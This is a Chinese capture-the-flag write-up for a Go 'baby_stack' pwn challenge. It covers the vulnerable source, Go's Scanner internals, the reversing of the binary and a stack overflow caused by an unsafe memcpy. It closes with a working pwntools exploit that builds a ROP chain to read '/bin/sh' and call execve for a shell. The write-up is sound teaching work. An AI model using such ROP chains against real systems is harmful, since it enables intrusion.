要用ida7.6来恢复一些它的符号表
不然还得用像go_parser的一些工具。
整个反编译出来看着非常奇怪
不知道是不是编译的时候选了一些参数啥的
我们此行抱着学习的态度
找着了它的源码
我们对着源码来读一读汇编
下面这是源码
package main
import (
"fmt"
"os"
"bufio"
"unsafe"
)
func main(){
buf := make([]byte,32)
//buf是通过make开的一个一维数组,大小是32个字节
stdin := bufio.NewScanner(os.Stdin)
//根据os.Stdin返回一个scanner结构体
fmt.Printf("Please tell me your name >> ");
stdin.Scan()
//sanner结构体也有自己的方法Scan
//作用就是从终端去读
name := stdin.Text()
//Text方法返回的自然是读到的字符串
fmt.Printf("Give me your message >> ");
stdin.Scan()
text := stdin.Text()
//同样的方法给text一个输入
memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text))
//模拟了C语言里的memcpy
//上面输入的话应该是gc会直接创建合适的内存
//但是就硬要往栈里复制
//就会造成栈溢出
//unsafe指针就像C语言的指针 用法是固定用法 一般不用 因为人家都说了unsafe
fmt.Printf("Thank you, %s!\nmsg : %s\n", name, string(buf))
}
func memcpy(dst uintptr, src uintptr, len int){
for i := 0; i < len; i++ {
*(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src))
dst += 1
src += 1
}
}
首先有一说一
源码里面有些go的用法还真没学过
先好好研究研究这源码。
make函数是用来为 slice,map 或 chan 类型分配内存和初始化一个对象。
NewScanner这个也是第一次见
上代码
func NewScanner(r io.Reader) *Scanner {
return &Scanner{
r: r,
split: ScanLines,
maxTokenSize: MaxScanTokenSize,
}
}
函数NewScanner返回一个Scanner,这个返回值来自于函数参数r。
type Scanner struct {
r io.Reader // The reader provided by the client.
split SplitFunc // The function to split the tokens.
maxTokenSize int // Maximum size of a token; modified by tests.
token []byte // Last token returned by split.
buf []byte // Buffer used as argument to split.
start int // First non-processed byte in buf.
end int // End of data in buf.
err error // Sticky error.
empties int // Count of successive empty tokens.
scanCalled bool // Scan has been called; buffer is in use.
done bool // Scan has finished.
}
结构体里有自己的方法
func (s *Scanner) Scan() bool {
if s.done {
return false
}
s.scanCalled = true
// Loop until we have a token.
for {
// See if we can get a token with what we already have.
// If we've run out of data but have an error, give the split function
// a chance to recover any remaining, possibly empty token.
if s.end > s.start || s.err != nil {
advance, token, err := s.split(s.buf[s.start:s.end], s.err != nil)
if err != nil {
if err == ErrFinalToken {
s.token = token
s.done = true
return true
}
s.setErr(err)
return false
}
if !s.advance(advance) {
return false
}
s.token = token
if token != nil {
if s.err == nil || advance > 0 {
s.empties = 0
} else {
// Returning tokens not advancing input at EOF.
s.empties++
if s.empties > maxConsecutiveEmptyReads {
panic("bufio.Scan: too many empty tokens without progressing")
}
}
return true
}
}
// We cannot generate a token with what we are holding.
// If we've already hit EOF or an I/O error, we are done.
if s.err != nil {
// Shut it down.
s.start = 0
s.end = 0
return false
}
// Must read more data.
// First, shift data to beginning of buffer if there's lots of empty space
// or space is needed.
if s.start > 0 && (s.end == len(s.buf) || s.start > len(s.buf)/2) {
copy(s.buf, s.buf[s.start:s.end])
s.end -= s.start
s.start = 0
}
// Is the buffer full? If so, resize.
if s.end == len(s.buf) {
// Guarantee no overflow in the multiplication below.
const maxInt = int(^uint(0) >> 1)
if len(s.buf) >= s.maxTokenSize || len(s.buf) > maxInt/2 {
s.setErr(ErrTooLong)
return false
}
newSize := len(s.buf) * 2
if newSize == 0 {
newSize = startBufSize
}
if newSize > s.maxTokenSize {
newSize = s.maxTokenSize
}
newBuf := make([]byte, newSize)
copy(newBuf, s.buf[s.start:s.end])
s.buf = newBuf
s.end -= s.start
s.start = 0
}
// Finally we can read some input. Make sure we don't get stuck with
// a misbehaving Reader. Officially we don't need to do this, but let's
// be extra careful: Scanner is for safe, simple jobs.
for loop := 0; ; {
n, err := s.r.Read(s.buf[s.end:len(s.buf)])
s.end += n
if err != nil {
s.setErr(err)
break
}
if n > 0 {
s.empties = 0
break
}
loop++
if loop > maxConsecutiveEmptyReads {
s.setErr(io.ErrNoProgress)
break
}
}
}
在go语言中,Scan()方法用于从标准输入“os.Stdin”读取文本,即从终端获取数据。该方法会返回成功读取的数据个数和遇到的任何错误;如果读取的数据个数比提供的参数少,会返回一个错误报告原因。
剩下的都在源码里做了注释
真开始逆了
看了源码之后逆向就变的简单起来
首先进来先看到一个runtime_morestack_noctxt函数
我们看名字就知道这个函数就是用来生长栈的。
这是啥意思?
Go 语言用的是 continue stack 栈管理机制,并且 Go 语言函数中 callee 的栈空间由 caller 来维护,callee 的参数、返回值都由 caller 在栈中预留空间。详见 The Go low-level calling convention on x86-64[3]。Go支持goroutine也就是协程,每个goroutine都有自己的栈,其初始栈空间很小并在使用过程中自动增长。
这种机制使得Go编译出来的函数在起始处判断当前栈是否够用,如果不够用就分配足够大的新空间并将旧栈数据拷贝到新栈中。该特点表现到二进制中如下,可以利用该特点定位到Go语言函数,当然有部分函数也不会判断栈空间是否够用。
这个地方就显然是我们刚开始的那句make
但是要注意
buf.len buf.cap buf.array是三个参数
array是地址
array是var_198的地方
这个就是Newscanner函数
这函数就是在寻找一个io_reader
这是比较混乱的两个输入输出
你说这为啥就是两个输入输出
具体函数咋调用的
参数都咋看
这还真不知道
就当成经验吧。
slicebytetostring就是类型转换 读到的转换成string
type StringHeader struct {
Data uintptr
Len int
}
string结构体长这样
slicebytetostring函数又是这样定义的
func slicebytetostring(buf *tmpBuf, b []byte) (str string) {
l := len(b)
if l == 0 {
return ""
}
if l == 1 {
stringStructOf(&str).str = unsafe.Pointer(&staticbytes[b[0]])
stringStructOf(&str).len = 1
return
}
var p unsafe.Pointer
if buf != nil && len(b) <= len(buf) {
p = unsafe.Pointer(buf)
} else {
p = mallocgc(uintptr(len(b)), nil, false)
}
stringStructOf(&str).str = p
stringStructOf(&str).len = len(b)
memmove(p, (*(*slice)(unsafe.Pointer(&b))).array, uintptr(len(b)))
return
}
返回直接返回一个结构体的话就红色箭头指的是字符串地址
后一个就是长度
所以就看得出来是想把message放到buf
包括memcpy函数也是一清二楚。
最后看着长长的
就是gc的两个垃圾回收
然后输出
所以漏洞就是memcpy导致的栈溢出
那么所以怎么利用呢?
我们之前在函数调用规则里研究过
函数的返回值直接就在rbp下面。
所以直接返回就行。
返回之后的利用我们就可以
利用的话我们首先找到了
再去找找相关gadget
找gadget还得ropper ROPgadget真不大行
我们找到pop_rsi pop_rax
但是没占到pop_rdi pop_rdx
又但是找到了两个这个东西
所以我们只要控制好rax就无所谓。
虽然是go语言 但是syscall的调用还是遵循的linux的syscall的调用规矩
还是rdi rsi rdx
所以就先read读一个/bin/sh\x00
然后execve。
但是要注意的一点是
如果我们直接一顿a填充就会报错
旁边的报错信息我们好好瞅一眼
原因是main_memcpy函数下面调用了一下slicebytetostring
目的是将buf切片转换成string
所以buf的相关参数就应该正确我们就改一下
那里的逻辑就是参数放在栈最上面用来传参
format a 都是栈顶的一会调用函数传参用的string跟interface
但是还是会在这里卡
那也很好猜了。
因为输出不仅需要buf 还需要name
我们上面的name并没有改。
name也调整一下就好了
.
那么就成了
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./baby_stack"
local = 1
if local:
r = process(pc)
elf = ELF(pc)
#libc = elf.libc
else:
r = remote("121.40.196.158",12001)
elf = ELF(pc)
libc = ELF("./libc-2.27.so")
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
bss = 0x59fa00
syscall = 0x456889
pop_rax_ret = 0x4016ea
pop_rsi_ret = 0x46defd
pop_rdi_ret = 0x470931
pop_rdx_ret = 0x4a247c
#payload = "a" * (104 + 16)
payload = "a" * 104 + p64(0x5999a0) + p64(0x200)
payload += "a" * 0x50 + p64(bss) + p64(0x200)
payload += "a" * 0xc0
#payload = "a" * 0x198
payload += p64(pop_rax_ret) + p64(bss)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss)
payload += p64(pop_rdx_ret) + p64(8)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)
payload += p64(pop_rax_ret) + p64(bss)
payload += p64(pop_rdi_ret) + p64(bss)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
sla("name >> ", 'Yongibaoi')
#db()
sla("message >> ", payload)
sleep(1)
sd("/bin/sh\x00")
ti()